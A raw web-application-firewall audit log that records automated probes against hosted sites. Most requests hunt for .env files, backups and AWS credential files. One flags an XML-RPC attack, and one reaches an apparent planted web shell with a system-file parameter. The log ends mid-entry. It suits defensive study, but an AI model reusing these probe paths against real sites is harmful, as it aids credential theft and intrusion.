--88620652-B-- GET /memcached/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --88620652-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a5e1524f0fdefafc02c3c0385da5d7351750032622; expires=Mon, 16 Jun 2025 01:10:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --88620652-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/memcached/.env"] [unique_id "aE9g7fthHqQhfrOWofuMAAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032621729684 677677 (- - -) Stopwatch2: 1750032621729684 677677; combined=1993, p1=426, p2=1455, p3=0, p4=0, p5=112, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --88620652-Z-- --82873b3c-A-- [16/Jun/2025:05:40:28.722665 +0530] aE9g9NVsbyFDndheOrkyfAAAAAE 185.177.72.210 42508 127.0.0.1 7081 --82873b3c-B-- GET /.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --82873b3c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a890de1a4b6450dbe38e0c02127892b61750032628; expires=Mon, 16 Jun 2025 01:10:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --82873b3c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.backup"] [unique_id "aE9g9NVsbyFDndheOrkyfAAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.env.backup"] [unique_id "aE9g9NVsbyFDndheOrkyfAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032628062238 660524 (- - -) Stopwatch2: 1750032628062238 660524; combined=1806, p1=357, p2=1310, p3=0, p4=0, p5=139, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --82873b3c-Z-- --c9ee8906-A-- [16/Jun/2025:05:40:30.939381 +0530] aE9g9vthHqQhfrOWofuMBAAAAAA 185.177.72.210 60328 127.0.0.1 7081 --c9ee8906-B-- GET /thumbs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c9ee8906-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6e70fce93e119f443d88b83a41b06fe01750032630; expires=Mon, 16 Jun 2025 01:10:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c9ee8906-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/thumbs/.env"] [unique_id "aE9g9vthHqQhfrOWofuMBAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032630282134 657311 (- - -) Stopwatch2: 1750032630282134 657311; combined=1586, p1=334, p2=1135, p3=0, p4=0, p5=116, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c9ee8906-Z-- --78e41b57-A-- [16/Jun/2025:05:40:31.965189 +0530] aE9g96gCBnvq3q-iXzICMgAAABc 185.177.72.210 60376 127.0.0.1 7081 --78e41b57-B-- GET /:8888/docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --78e41b57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9437ca95e2ff2a2439342a09676f346b1750032631; expires=Mon, 16 Jun 2025 01:10:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --78e41b57-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/docs/.env"] [unique_id "aE9g96gCBnvq3q-iXzICMgAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032631274143 691110 (- - -) Stopwatch2: 1750032631274143 691110; combined=1693, p1=389, p2=1211, p3=0, p4=0, p5=93, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --78e41b57-Z-- --53e1a111-A-- [16/Jun/2025:05:40:32.965222 +0530] aE9g-PthHqQhfrOWofuMBQAAAAA 185.177.72.210 60464 127.0.0.1 7081 --53e1a111-B-- GET /.env-db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --53e1a111-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3663b3ebec2038c3e4b930db715d10131750032632; expires=Mon, 16 Jun 2025 01:10:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --53e1a111-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env-db"] [unique_id "aE9g-PthHqQhfrOWofuMBQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032632289353 675950 (- - -) Stopwatch2: 1750032632289353 675950; combined=1946, p1=398, p2=1432, p3=0, p4=0, p5=116, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --53e1a111-Z-- --fbea9d03-A-- [16/Jun/2025:05:40:35.759677 +0530] aE9g-_thHqQhfrOWofuMBgAAAAA 185.177.72.210 60582 127.0.0.1 7081 --fbea9d03-B-- GET /Files/binder.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fbea9d03-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c3e2a81b5263aa79ea1ab5604850400e1750032635; expires=Mon, 16 Jun 2025 01:10:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fbea9d03-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Files/binder.backup"] [unique_id "aE9g-_thHqQhfrOWofuMBgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032635090232 669520 (- - -) Stopwatch2: 1750032635090232 669520; combined=1706, p1=330, p2=1277, p3=0, p4=0, p5=99, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fbea9d03-Z-- --bc685759-A-- [16/Jun/2025:05:40:39.538754 +0530] aE9g_vbo0R64L12N_alSRQAAAAQ 185.177.72.210 60762 127.0.0.1 7081 --bc685759-B-- GET /:8888/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bc685759-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=070fe037de84e84d5c5a75828fa69ccc1750032639; expires=Mon, 16 Jun 2025 01:10:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bc685759-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/laravel/.env"] [unique_id "aE9g_vbo0R64L12N_alSRQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032638878646 660172 (- - -) Stopwatch2: 1750032638878646 660172; combined=1993, p1=416, p2=1484, p3=0, p4=0, p5=93, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bc685759-Z-- --9dea2f47-A-- [16/Jun/2025:05:40:53.101171 +0530] aE9hDNNEcm-DhAkC0ibZyQAAAAY 185.177.72.210 40218 127.0.0.1 7081 --9dea2f47-B-- GET /:9000/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9dea2f47-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb8d677514201b54589f3fb47f3231a11750032652; expires=Mon, 16 Jun 2025 01:10:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9dea2f47-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.production"] [unique_id "aE9hDNNEcm-DhAkC0ibZyQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032652449533 651753 (- - -) Stopwatch2: 1750032652449533 651753; combined=2299, p1=484, p2=1682, p3=0, p4=0, p5=132, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9dea2f47-Z-- --04336619-A-- [16/Jun/2025:05:40:54.158649 +0530] aE9hDVEBvmqd8j7Fed2pvAAAABM 185.177.72.210 40256 127.0.0.1 7081 --04336619-B-- GET /global.asa HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --04336619-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d329584685be91e9d87b09704fa00f051750032654; expires=Mon, 16 Jun 2025 01:10:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --04336619-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".asa"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".asa"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/global.asa"] [unique_id "aE9hDVEBvmqd8j7Fed2pvAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032653493211 665515 (- - -) Stopwatch2: 1750032653493211 665515; combined=1998, p1=366, p2=1478, p3=0, p4=0, p5=153, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04336619-Z-- --91f2e53f-A-- [16/Jun/2025:05:41:15.878216 +0530] aE9hItNEcm-DhAkC0ibZ2AAAAAY 128.199.112.101 37400 127.0.0.1 7081 --91f2e53f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --91f2e53f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --91f2e53f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9hItNEcm-DhAkC0ibZ2AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032674919519 958762 (- - -) Stopwatch2: 1750032674919519 958762; combined=2150, p1=426, p2=1331, p3=41, p4=61, p5=178, sr=111, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91f2e53f-Z-- --dcfd0b60-A-- [16/Jun/2025:05:41:30.936623 +0530] aE9hMtNEcm-DhAkC0ibZ4AAAAAY 185.177.72.210 44820 127.0.0.1 7081 --dcfd0b60-B-- GET /data/env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dcfd0b60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ea8701c5c920d0468e8ec1d6028147501750032690; expires=Mon, 16 Jun 2025 01:11:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dcfd0b60-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/data/env.bak"] [unique_id "aE9hMtNEcm-DhAkC0ibZ4AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032690273396 663292 (- - -) Stopwatch2: 1750032690273396 663292; combined=2370, p1=456, p2=1793, p3=0, p4=0, p5=120, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dcfd0b60-Z-- --da4fea16-A-- [16/Jun/2025:05:41:35.869382 +0530] aE9hN1EBvmqd8j7Fed2p1gAAABM 185.177.72.210 45104 127.0.0.1 7081 --da4fea16-B-- GET /aws/anmeldeinformationen.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --da4fea16-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=784691e867bfddd9be7a82c458a6b6d81750032695; expires=Mon, 16 Jun 2025 01:11:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --da4fea16-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/aws/anmeldeinformationen.bak"] [unique_id "aE9hN1EBvmqd8j7Fed2p1gAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032695193170 676284 (- - -) Stopwatch2: 1750032695193170 676284; combined=1995, p1=363, p2=1553, p3=0, p4=0, p5=79, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --da4fea16-Z-- --82076462-A-- [16/Jun/2025:05:42:07.157510 +0530] aE9hV_thHqQhfrOWofuMQgAAAAA 216.73.216.83 50560 127.0.0.1 7081 --82076462-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fusr%2Fshare%2Fbase-files&viewfile=%2F%2Fusr%2Fshare%2Fbase-files%2Fdot.bashrc HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --82076462-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4399 Connection: close Content-Type: text/html; charset=UTF-8 --82076462-H-- Message: Warning. Matched phrase ".bashrc" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .bashrc found within ARGS:viewfile: /usr/share/base-files/dot.bashrc"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".bashrc" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .bashrc found within ARGS:viewfile: /usr/share/base-files/dot.bashrc"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9hV_thHqQhfrOWofuMQgAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750032727153236 4329 (- - -) Stopwatch2: 1750032727153236 4329; combined=2098, p1=344, p2=1618, p3=37, 